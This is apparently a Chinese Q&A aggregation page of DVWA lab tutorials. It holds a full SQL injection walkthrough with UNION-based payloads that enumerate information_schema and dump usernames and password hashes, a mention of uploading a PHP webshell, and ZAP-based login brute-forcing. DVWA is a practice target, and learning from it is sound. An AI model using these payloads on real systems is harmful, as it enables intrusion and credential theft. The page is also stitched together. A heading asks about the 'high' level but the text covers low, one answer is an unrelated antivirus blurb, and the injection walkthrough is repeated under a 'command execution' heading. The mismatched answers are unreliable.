dvwa sql injection high级怎么破
1、设置
把安全等级先调整为low,让自己获得点信心,免得一来就被打脸。
2、测试和分析页面的功能
这里有一个输入框
根据上面的提示,输入用户的id。然后我们输入之后,发现它返回了关于这个user的信息!这里我们输入了“1”。
它返回三行数据,一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。同时,看一下浏览器的地址栏那里,发现url成这样了
这里有个id=1,是不是就是我们输入的user id呢?再输入“2”,发现url变成了
好了,到这里,我们可以得出这里传进去的id的值是我们可以控制的。我们在输入框中输入什么,就会通过id传进去什么!
3、对参数进行测试
对id这个参数进行测试,查看一下它是否存在sql注入漏洞。我们在输入框里面输入“1'”,注意1后面有一个单引号“'”。
发现这里报错了,说我们的sql语句出现了语法错误。
我们可以进行这样一个猜测:首先它这个id是被两个“'”包住的。查询语句可能是这样的:
select firstname,surname from users where id = '1';
当我们在1之后加一个引号,则会导致单引号数目不平衡,那么查询语句会变成这样:
select firstname,surname from users where id = '1'';
可以看到最后一个引号没被闭合,那我们该怎么办呢?其实有好多种解决的办法,下面就简单介绍下。
*** 一:可以在原来的基础上再继续输入一个引号,也就是“1''”。这时我们看一下查询语句:
select firstname,surname from users where id = '1''';
* 在where语句中,当出现多个字符串的时候,“=”将会选择优先级更高的一个,优先级是从左到右,依次降低的,也就是离“=”最近的一个。
看到了么,出来的结果还是和user_id=1一样。
*** 二:使用“#”符号来注释后面的单引号,到时查询语句将会变成这样:
select firstname,surname from users where id = '1'#';
*** 三:使用“-- ”。这里注意了“-- ”后面有一个空格。在url当中,我们可以使用“+”来代替“--”后面的空格。到时查询语句将会变成这样:
select firstname,surname from users where id = '1'--+';
上面显示出来的结果和输入1时一样。到这里我们就可以确定:
漏洞的参数是“id”。
漏洞的类型是字符型。
4、构造payload
好了,在我们确认漏洞之后,就可以构造payload了。什么是payload?说白了就是一段恶意代码,以便我们能够获得数据库里面的数据。
4.1 分析字段数
分析字段数的话,也是有两种 *** 。
*** 一:用order by 语句。
分析字段数的原因是我们之后需要用union select语句来获得我们需要的敏感数据。根据order by知识知道,要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。我们构造的payload如下:
1' order by 1#
1' order by 2#
1' order by 3#
当输入到3的时候,发现它报错了,也就是说字段数为2。
*** 二:直接用union select来猜测字段数。
因为当字段数不对应的时候,它也是会发生报错的!我们构造以下查询语句:
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
可以发现,当union select 1,2,3的时候报错,union select 1,2的时候没有报错,也就是说字段数为2。同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?其实这就是我们union select出来的数据。这样通过查看页面,我们便可以获得数据库里面的信息了!
4.2 获取信息
字段数为2,说明数据列有两列。我们可以通过union select语句查出两个数据。好了,我们来获取所需要的数据库里面的信息吧!
4.2.1 获取当前数据库名,当前用户名
构造数据库查询语句如下所示:
1' union select database(),user()#
解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。
好的,我们可以看到当前使用的数据库为:dvwa,当前的用户名:root@localhost。
有时候,后面的select语句会限制输出的行数,一般来说,都会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不反回结果。如下操作:
-1' union select database(),user()#
这样就只会返回我们需要的数据了。
类似的函数还有:version() 获取当前数据库版本,@@version_compile_os获取当前操作系统。
-1' union select version(),@@version_compile_os#
* 数据库版本高于5.0就可以爆库了,下面会具体讲解。
4.2.2 获取当前的用户表
根据上面的信息,我们知道当前数据库名为dvwa,可是还不够呀,表名是什么?内容又是什么?是不是打算放弃了?先吃根辣条冷静一下吧。
想想看,当你有不懂的字会怎么办呢?不要动不动就去百度,除了问度娘,还能怎么做呢?对了,查字典。那么mysql有没有类似于字典的东西呢?答案是肯定的,就是information_schema,这是一个包含了mysql数据库所有信息的“字典”,本质上还是一个database,存放着其他各个数据的信息。
在information_schema里,有一个表tables。有一个columns……是不是有点感觉了? tables这个表存放的是关于数据库中所有表的信息,里面有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的是这个表所在的数据库。对于columns,它有column_name,table_schema,table_name。回想一下,我们拥有的信息是数据库名。也就是说我们可以构造这样的payload来从数据库里获取一些东西。
好的,构造的查询语句如下:
-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
爆出来两个表,对那个感兴趣呢???当然是users表啦!不是说还有一个columns表么?所以我们还需要table_name以及table_schema来查column_name。这次我们构造的payload如下:
-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
这里简单说一下,倘若不指定数据库名为'dvwa',若是其他数据里面也存在users表的话,则会出现很多混淆的数据。当然,在这里直接使用下面的语句也是可以成功的。
-1' union select column_name,2 from information_schema.columns where table_name='users'#
跟上一条结果一样吧?
又来了,这么多数据,选哪个呢???废话,当然是user,password啦。我们再次修改payload:
-1' union select user,password from users#
Binggo!我们爆出所有的用户名和密码值!等等,这密码好像有点奇葩,数一数,32位!好吧,是经过md5加密的。好不容易爆出管理员账号和密码,但是密码却加密,这就没有办法了吗?不一定!我们需要找一些破解md5值的网站来进行破解!直接百度“CMD5”,然后选择一个网站进去破解就可以了。
我们选择admin这个来进行破解,md5密文为:21232f297a57a5a743894a0e4a801fc3。
可以看到密码已经被破解出来了,密码是“admin”,好的,我们来验证一下!
看,这个时候我们已经成功登陆了!
好的,简单的SQL注入就说到这儿了,下次我们将进行DVWA里面的中级SQL注入。
dvwa怎么查看low等级代码
在DVWA中选择Upload,首先分析low级别的代码:
首先站点通过upload参数以POST方式来接收被上传的文件,然后指定文件上传路径为“网站根目录/hackable/uploads”,文件上传到网站之后的名字仍沿用原先的名字。
接下来利用$_FILES变量来获取上传文件的各种信息。$_FILES变量与$_GET、$_POST类似,它专门用于获取上传文件的各种信息。
“$_FILES['uploaded']['name']”,用于获取客户端文件的原名称,
“$_FILES['uploaded']['tmp_name']”, 用于获取文件被上传后在服务端储存的临时文件名。
语句“move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)”表示将上传后的文件移动到变量$target_path所指定的新位置,如果这个函数成功执行,则输出“succesfully uploaded!”,否则输出“Your image was not uploaded”。
可以看出,在low级别中,没有对上传的文件进行任何过滤,因而我们可以直接将php木马文件上传到服务器中。比如上传一个名为an75.php的webshell文件,文件上传之后的路径
在dvwa的文件包含漏洞中哪个后缀
打开腾讯电脑管家——工具箱——修复漏洞,进行漏洞扫描和修复。
建议设置开启自动修复漏洞功能,开启后,电脑管家可以在发现高危漏洞(仅包括高危漏洞,不包括其它漏洞)时,之一时间自动进行修复,无需用户参与,更大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用。开启方式如下:进入电脑管家“修复漏洞”模块—“设置”,点击开启自动修复漏洞即可。
dvwa的command execution怎么用
1、设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸。2、测试和分析页面的功能这里有一个输入框根据上面的提示,输入用户的id。然后我们输入之后,发现它返回了关于这个user的信息!这里我们输入了“1”。它返回三行数据,一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。同时,看一下浏览器的地址栏那里,发现url成这样了这里有个id=1,是不是就是我们输入的user id呢?再输入“2”,发现url变成了好了,到这里,我们可以得出这里传进去的id的值是我们可以控制的。我们在输入框中输入什么,就会通过id传进去什么!3、对参数进行测试 对id这个参数进行测试,查看一下它是否存在sql注入漏洞。我们在输入框里面输入“1'”,注意1后面有一个单引号“'”。发现这里报错了,说我们的sql语句出现了语法错误。 我们可以进行这样一个猜测:首先它这个id是被两个“'”包住的。查询语句可能是这样的: select firstname,surname from users where id = '1';当我们在1之后加一个引号,则会导致单引号数目不平衡,那么查询语句会变成这样: select firstname,surname from users where id = '1'';可以看到最后一个引号没被闭合,那我们该怎么办呢?其实有好多种解决的办法,下面就简单介绍下。 *** 一:可以在原来的基础上再继续输入一个引号,也就是“1''”。这时我们看一下查询语句: select firstname,surname from users where id = '1''';* 在where语句中,当出现多个字符串的时候,“=”将会选择优先级更高的一个,优先级是从左到右,依次降低的,也就是离“=”最近的一个。看到了么,出来的结果还是和user_id=1一样。 *** 二:使用“#”符号来注释后面的单引号,到时查询语句将会变成这样: select firstname,surname from users where id = '1'#'; *** 三:使用“-- ”。这里注意了“-- ”后面有一个空格。在url当中,我们可以使用“+”来代替“--”后面的空格。到时查询语句将会变成这样: select firstname,surname from users where id = '1'--+';上面显示出来的结果和输入1时一样。到这里我们就可以确定: 漏洞的参数是“id”。 漏洞的类型是字符型。4、构造payload 好了,在我们确认漏洞之后,就可以构造payload了。什么是payload?说白了就是一段恶意代码,以便我们能够获得数据库里面的数据。4.1 分析字段数 分析字段数的话,也是有两种 *** 。 *** 一:用order by 语句。 分析字段数的原因是我们之后需要用union select语句来获得我们需要的敏感数据。根据order by知识知道,要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。我们构造的payload如下: 1' order by 1# 1' order by 2# 1' order by 3#当输入到3的时候,发现它报错了,也就是说字段数为2。 *** 二:直接用union select来猜测字段数。 因为当字段数不对应的时候,它也是会发生报错的!我们构造以下查询语句: 1' union select 1# 1' union select 1,2# 1' union select 1,2,3#可以发现,当union select 1,2,3的时候报错,union select 1,2的时候没有报错,也就是说字段数为2。同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?其实这就是我们union select出来的数据。这样通过查看页面,我们便可以获得数据库里面的信息了!4.2 获取信息 字段数为2,说明数据列有两列。我们可以通过union select语句查出两个数据。好了,我们来获取所需要的数据库里面的信息吧!4.2.1 获取当前数据库名,当前用户名 构造数据库查询语句如下所示: 1' union select database(),user()#解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。好的,我们可以看到当前使用的数据库为:dvwa,当前的用户名:root@localhost。有时候,后面的select语句会限制输出的行数,一般来说,都会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不反回结果。如下操作: -1' union select database(),user()#这样就只会返回我们需要的数据了。 类似的函数还有:version() 获取当前数据库版本,@@version_compile_os获取当前操作系统。 -1' union select version(),@@version_compile_os#* 数据库版本高于5.0就可以爆库了,下面会具体讲解。4.2.2 获取当前的用户表 根据上面的信息,我们知道当前数据库名为dvwa,可是还不够呀,表名是什么?内容又是什么?是不是打算放弃了?先吃根辣条冷静一下吧。想想看,当你有不懂的字会怎么办呢?不要动不动就去百度,除了问度娘,还能怎么做呢?对了,查字典。那么mysql有没有类似于字典的东西呢?答案是肯定的,就是information_schema,这是一个包含了mysql数据库所有信息的“字典”,本质上还是一个database,存放着其他各个数据的信息。在information_schema里,有一个表tables。有一个columns……是不是有点感觉了? tables这个表存放的是关于数据库中所有表的信息,里面有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的是这个表所在的数据库。对于columns,它有column_name,table_schema,table_name。回想一下,我们拥有的信息是数据库名。也就是说我们可以构造这样的payload来从数据库里获取一些东西。好的,构造的查询语句如下: -1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#爆出来两个表,对那个感兴趣呢???当然是users表啦!不是说还有一个columns表么?所以我们还需要table_name以及table_schema来查column_name。这次我们构造的payload如下: -1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#这里简单说一下,倘若不指定数据库名为'dvwa',若是其他数据里面也存在users表的话,则会出现很多混淆的数据。当然,在这里直接使用下面的语句也是可以成功的。 -1' union select column_name,2 from information_schema.columns where table_name='users'#跟上一条结果一样吧?又来了,这么多数据,选哪个呢???废话,当然是user,password啦。我们再次修改payload: -1' union select user,password from users#Binggo!我们爆出所有的用户名和密码值!等等,这密码好像有点奇葩,数一数,32位!好吧,是经过md5加密的。好不容易爆出管理员账号和密码,但是密码却加密,这就没有办法了吗?不一定!我们需要找一些破解md5值的网站来进行破解!直接百度“CMD5”,然后选择一个网站进去破解就可以了。我们选择admin这个来进行破解,md5密文为:21232f297a57a5a743894a0e4a801fc3。可以看到密码已经被破解出来了,密码是“admin”,好的,我们来验证一下!看,这个时候我们已经成功登陆了!好的,简单的SQL注入就说到这儿了,下次我们将进行DVWA里面的中级SQL注入。
OWASP ZAP无法捕捉到DVWA怎么办
OWASP ZAP无法捕捉到DVWA怎么办ZAP 字典破解 DVWA 登录
1,系统环境
2,ZAP下载地址
3,DVWA 环境
4,DVWA Brute Force
1,系统环境
$ sw_vers ProductName: Mac OS X ProductVersion: 10.13.6 BuildVersion: 17G65
1
2
3
4
2,ZAP下载地址
ZAP Windows Linux MacOS 下载
3,DVWA 环境
FireFox 安装扩展 Proxy Switcher and Manager

Proxy Switcher 设置 *** 端口:8080

ZAP 设置本地 *** 端口:8080

4,DVWA Brute Force

DVWA Security Level low
输入错误用户名密码root

右键 选择 Fuzz

删除 Remove

选择 username 值 root ,Add 在 Contents 填入用户名

password 一样

Start Fuzzer 开始破解

Size Resp.Body 排序 登录成功数据包大一点,破解成功用户名密码 admin:admin